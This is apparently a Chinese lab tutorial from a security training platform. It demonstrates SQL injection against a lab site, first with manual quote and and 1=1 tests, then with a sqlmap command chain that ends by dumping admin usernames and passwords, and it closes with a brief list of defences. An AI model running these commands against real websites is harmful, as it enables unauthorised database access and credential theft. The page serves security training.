sql注入示例
实验指导说明
实验环境
• 实验环境
o 操作机:Windows XP
o 目标机:Windows 2003
o 目标网址:www.test.ichunqiu
• 实验工具:
Tools Path
SQLMap C:\Tools\注入工具\SQLMap
本节课程通过对SQL注入的演示,让大家了解SQL注入漏洞的方式,并学习应对此种漏洞的防御方法。
实验步骤
第一步 手工检测判断注入点
首先打开目标站点www.test.ichunqiu找注入点,打开文章中心随便点一篇文章,页面地址为http://www.test.ichunqiu/Art_Show.php?id=2,首先在id=2后面加一个单引号来判断这是否是一个注入点,返回了一个错误提示更新点击数出现错误!。
小i提示:
• 可以看见url里有一个id=2,可以根据这个判断他是由get请求进行提交的,因为通过get请求提交的,提交的数据会在url里进行体现,而这个也是我们可以利用的地方。
• 这里出现了一个错误提示,更新点击数出现错误,这样说明我们输入的and 1=1 和and 1=2在数据库内执行了,因为and 1=1这条查询语句就永为真,它就会继续执行,and 1=2 这条语句就为假,查询语句无法继续执行,就会返回错误,这样我们就可以初步判断这个url地址是一个注入点。
快速查找实验工具
• 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工具所在位置。
• 以查找BURP为例为大家演示。
第二步 利用sqlmap对注入点进行注入
将注入点放到sqlmap里进行进一步的判断,打开桌面上的sqlmap。
python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2"
返回信息提示这是一个注入点并且返回对方系统的信息,系统是windows,Web容器是apache2.4.9版本,语言php5.2.17版本,目标数据库是mysql5.0.11版本。
第三步 获取数据库内信息
使用以下命令进行注入测试,获取数据库内所有数据库的名称,返回信息目标数据库内有四个数据库:mys mysql test information_schema。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --dbs
使用以下命令查看网站所依赖的数据库的名称,返回信息依赖的数据库为mys。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --current–db
使用以下命令获取mys数据库内表信息。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys --tables
mys数据库下一共有十四个表,使用命令获取zzcms_admin表内列的信息。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin --columns
使用以下命令对这name和password两个列进行查询并获取KEY。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin –C name,password --dump
第四步 防御方案
1.普通用户与系统管理员的权限要有严格的区分
2.强迫使用参数化语句
3.加强对用户输入的验证
4.多使用数据库自带的安全参数
5.使用专业的漏洞扫描工具来寻找可能被攻击的点
sql注入示例的更多相关文章
- mybatis的sql中使用$会出现sql注入示例
mybatis的sql中使用$会出现sql注入示例: 模拟简单登录场景: 页面代码: function login(){ //sql注入 var user = { username : "' ...
- Sql server之sql注入篇
SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安 ...
- Sql注入基础原理介绍
说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...
- 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)
3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...
- 简单的SQL注入学习
引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...
- Node.js 项目中解决 SQL 注入和 XSS 攻击
1.SQL 注入 SQL 注入,一般是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令. SQL 注入示例 在登录界面,后端会根 ...
- 解决 SQL 注入和 XSS 攻击(Node.js 项目中)
1.SQL 注入 SQL 注入,一般是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令. SQL 注入示例 在登录界面,后端会根 ...
- 初探SQL注入需要知道的5个问题
SQL注入产生原理 可控变量(注入点,就是传参) 带入数据库查询 变量未存在过滤或过滤不严谨 例子: 获取admin表的pass里面的数据 select * from users where id=1 ...
- SQL注入原理与解决方法代码示例
一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...
随机推荐
- 消除Switch...Case的过程
http://www.cnblogs.com/happyframework/p/3300170.html 目录 备注需求第一遍代码(重复的代码)第二遍代码(消除重复)备注 备注返回目录 不要重复自己, ...
- MySQL能够承受上亿万条的数据量的架构
MySQL能够承受上亿万条的数据量的架构 最近做的搜索引擎的数据量是越来越大估计了下在中国可能涉及到的1Kw的数据量,就全球来说也就是1K亿而已,最初是用的数据库是MySQL现在来说要做些优化,最终使 ...
- 设置共享文件夹,samba和chmod到底谁的权限大
1,必备知识.已经知道的请跳过. 首先科普一下这两个东西:samba和chmod其实是完全不同层面的东西,一个是共享服务协议,一个是权限设置语句.但是他们有一个共同的用途:可以用来实现设置一个共享文件 ...
- win7 安装 sql2000
win7 安装:http://wenku.baidu.com/link?url=xNcfrMaMzX0KgBcjpMaySRaKITM2Op73ZI8sOX49zgl-GWPGB3vqye9gZA_c ...
- eclipse调试java调用matlab程序的7.17dll找不到的问题
经过多次查找,这个问题本来很简单,在环境变量中CLASSPATH配置C:\MATLAB\R2012a\toolbox\javabuilder\jar\win64\javabuilder.jar 特别注 ...
- [置顶] ROS探索总结(十一)——机器视觉
机器视觉在计算机时代已经越来越流行,摄像头价格越来越低廉,部分集成深度传感器的混合型传感器也逐渐在研究领域普及,例如微软推出的Kinect,而且与之配套的软件功能十分强大,为开发带来了极大的便利.RO ...
- Magnum Kuernetes源码分析(二)
Kubernetes Master Stack kubernetes master的stack的resources主要分为三个部分. master wait handle wait handle主要用 ...
- [jstips]向数组中插入一个元素
向现有数组中插入一个元素是经常会见到的一个需求.你可以: 使用push将元素插入到数组的尾部: 使用unshift将元素插入到数组的头部: 使用splice将元素插入到数组的中间: 上面那些方法都是常 ...
- 结构-行为-样式-angularJs 指令解决IE下无PlaceHolder的问题
最近项目开发的时候遇到一个头疼的问题,在测试IE兼容性的时候,发现placeholder在IE下无效.查网上说也是有各种解决方案,但是都不是我想要的,于是决定自己写一个.思路:placeHolder是 ...
- [ios]iphone 获取UIWebView内Html方法
原文:http://blog.csdn.net/diyagoanyhacker/article/details/6564897 获取所有html:NSString *lJs = @"docu ...